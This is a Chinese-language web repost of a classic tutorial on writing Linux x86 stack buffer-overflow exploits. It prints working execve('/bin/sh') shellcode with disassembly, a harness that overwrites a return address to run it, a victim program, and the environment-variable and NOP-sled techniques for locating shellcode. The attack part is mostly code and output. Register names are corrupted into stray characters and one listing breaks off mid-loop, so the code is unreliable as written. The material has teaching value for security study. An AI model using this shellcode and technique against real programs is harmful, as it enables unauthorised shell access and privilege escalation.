缓冲区溢出的解密方法

互联网   发布时间:2008-10-08 19:03:01   作者:佚名   我要评论
如何执行 /bin/sh? 在C中,spawn出一个shell的代码可能象这样: shell.c : #include void main() { char *shell[2]; shell[0] = "/bin/sh"; shell[1] = NULL; execve(shell[0], shell, NULL); } [m
因此,在讲了这么多以后,我们所要做的全部就是把这些汇编指令转换到一个字符串中。因此,让我们得到这些十六进制运赛码然后汇编我们的攻击代码:

sc.c :

char newsc[]= /* 24 bytes */

"\x31\xc0" /* xorl 陎,陎 */

"\x50" /* pushl 陎 */

"\x68""//sh" /* pushl $0x68732f2f */

"\x68""/bin" /* pushl $0x6e69622f */

"\x89\xe3" /* movl %esp,離 */

"\x50" /* pushl 陎 */

"\x53" /* pushl 離 */

"\x89\xe1" /* movl %esp,靫 */

"\x99" /* cdql */

"\xb0\x0b" /* movb $0x0b,%al */

"\xcd\x80" /* int $0x80 */

;

main()

{

}

[murat@victim newsc]$ gcc -g -o sc sc.c

[murat@victim newsc]$ objdump -D sc | grep \ -A13

080494b0 :

80494b0: 31 c0 xorl 陎,陎

80494b2: 50 pushl 陎

80494b3: 68 2f 2f 73 68 pushl $0x68732f2f

80494b8: 68 2f 62 69 6e pushl $0x6e69622f

80494bd: 89 e3 movl %esp,離

80494bf: 50 pushl 陎

80494c0: 53 pushl 離

80494c1: 89 e1 movl %esp,靫

80494c3: 99 cltd

80494c4: b0 0b movb $0xb,%al

80494c6: cd 80 int $0x80

80494c8: 00 00 addb %al,(陎)

...

[murat@victim newsc]$

在上面的图中,第一行是指令内存地址,接下面的行是汇编指令的运算码,这也是我们兴趣所在,而最后一行是与运算码相关的汇编指令。

那么,这里就是完整的shell代码:

"\x31\xc0" /* xorl 陎,陎 */

"\x50" /* pushl 陎 */

"\x68""//sh" /* pushl $0x68732f2f */

"\x68""/bin" /* pushl $0x6e69622f */

"\x89\xe3" /* movl %esp,離 */

"\x50" /* pushl 陎 */

"\x53" /* pushl 離 */

"\x89\xe1" /* movl %esp,靫 */

"\x99" /* cdql */

"\xb0\x0b" /* movb $0x0b,%al */

"\xcd\x80" /* int $0x80 */

最后测试我们的shell代码:

shellcode.c :

char sc[]= /* 24 bytes */

"\x31\xc0" /* xorl 陎,陎 */

"\x50" /* pushl 陎 */

"\x68""//sh" /* pushl $0x68732f2f */

"\x68""/bin" /* pushl $0x6e69622f */

"\x89\xe3" /* movl %esp,離 */

"\x50" /* pushl 陎 */

"\x53" /* pushl 離 */

"\x89\xe1" /* movl %esp,靫 */

"\x99" /* cdql */

"\xb0\x0b" /* movb $0x0b,%al */

"\xcd\x80" /* int $0x80 */

;

main()

{

int *ret;

ret = (int *)&ret 2;

*ret = sc;

}

[murat@victim newsc]$ gcc -g -o shellcode shellcode.c

[murat@victim newsc]$ ./shellcode

bash$

嗯,它生效了。上面我们所做的是,增加ret的地址2个双字(8字节),因而就到了main()的返回地址存储的内存位置。接着,因为ret相应的地址现在是RET,我们把字符串sc(就是我们的攻击代码)的地址存到ret。实际上,我们在这里改变了返回地址的值,而这个返回地址就指向了sc[]。当main()发送RET时,sc的地址写到EIP中了,接着,CPU开始在这执行指令,造成了/bin/sh的执行。

写本地缓冲区溢出漏洞利用程序

现在,让我们看看下面的程序:

victim.c :

char sc[]=

"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

char large_str[50];

void main()

{

int i;

char foo[12];

int *ap = (int *)large_str;

for (i = 0; i

瞧!就是它了!我们做了什么?在for循环里面,我们拷贝了我们的shellcode字符串的地址。由于地址是32位(4字节),我们以4为步长增加i。接着,在main()里,当我们把有我们shellcode地址的large_str拷到实际只能容纳12字节的foo,strcpy没有边界检查,而且一直拷贝到main的返回地址。接着,当strcpy指令发送到RET,我们shellcode的地址已经被POP进去了,而且放入了EIP。接着它就被执行了。这里有一件事是:strcpy没有溢出它的缓冲区,它溢出了main()的缓冲区,因此覆盖了main()的返回地址。我们的shell在main()返回的时候开始,而不是strcpy返回的时候。

上面的victim.c是我们的程序。我们知道我们的shellcode跳转的地址。如果我们要求利用另外程序的缓冲区又该如何去做呢?我们不能预先知道内存的布局,不是吗?这也意味着我们不知道我们的shellcode的地址。我们现在该怎么做呢?首先,我们必须用某些途径把shellcode植入到有弱点的程序,而且无论怎样我们必须得到shellcode的地址。当我们谈论本地漏洞利用时,有两种方法。

1.如Aleph1的著名文章”Smashing the Stack for Fun and Profit”所介绍的,我们把我们的shellcode放置到有缺陷程序的缓冲区,而且尝试着猜测到我们漏洞利用程序的ESP偏移量。2.这第二个方式更加简单和聪明。通过这种方法,我们能知道我们shellcode的地址!这真是太好了!怎么做?看这个:如果你在一个linux ELF二进制文件第一次装入内存的时候通过gdb看它的高位地址,你将看到象这样的一些东西:

--------------------- 0xBFFFFFFF

|\000 \000 \000 \000| 0xBFFFFFFB (4 NULL byte)

|\000 ...... | 0xBFFFFFFA (program_name)

| ..................|

|...................| n. environment variable (env[n])

|...................| n-1. environment variable (env[n-1])

|...................| ...

|...................| 1. environment variable (env[0])

|...................| ...

|...................| n. argument string (argv[n])

|...................| n-1. argument string (argv[n-1])

|...................| ...

| . |

| . |

| . |

看上面的图,我们都会同意我们能计算最后一个环境变量地址。它是:

envp = 0xBFFFFFFF -

4 - (4 NULL bytes)

strlen(program_name) - (program_names's length - without the leading NULL).

1 - (NULL which strlen did not count above)

strlen(envp[n])) (the length of last environment string)

除去一些不必要的计算,这里是最终的结果:

envp = 0xBFFFFFFA - strlen(prog_name) - strlen(envp[n])

你还记得我们给execve提供一个环境指针吗?这有没有让你想起什么?对了,我们可以通过这个环境指针把我们的shellcode传给漏洞程序,并且计算它的地址。这意味着我们完全知道我们需要写什么地址到漏洞缓冲区。

计算我们的shellcode 地址的公式:

ret = 0xBFFFFFFA - strlen(prog_name) - strlen(sc);

至于Aleph1在他的文章中讨论的在外面被广泛使用的方法,多少有点比我们的环境变量技术难得多。关于细节你们可以看Aleph1的文章,Smashing the Stack for Fun and Profit。

一般来说,在这个方法中,我们把”NOP”指令(NOP)放在缓冲区的开始。NOP之后,我们放置我们的shellcode,接着是这个shellcode的地址。

如我前面所说的,既然我们不知道我们shellcode的准确地址,我们在缓冲区开头填一些NOP指令增加我们跳到我们的shellcode附近一些位置的可能性。

相关文章

最新评论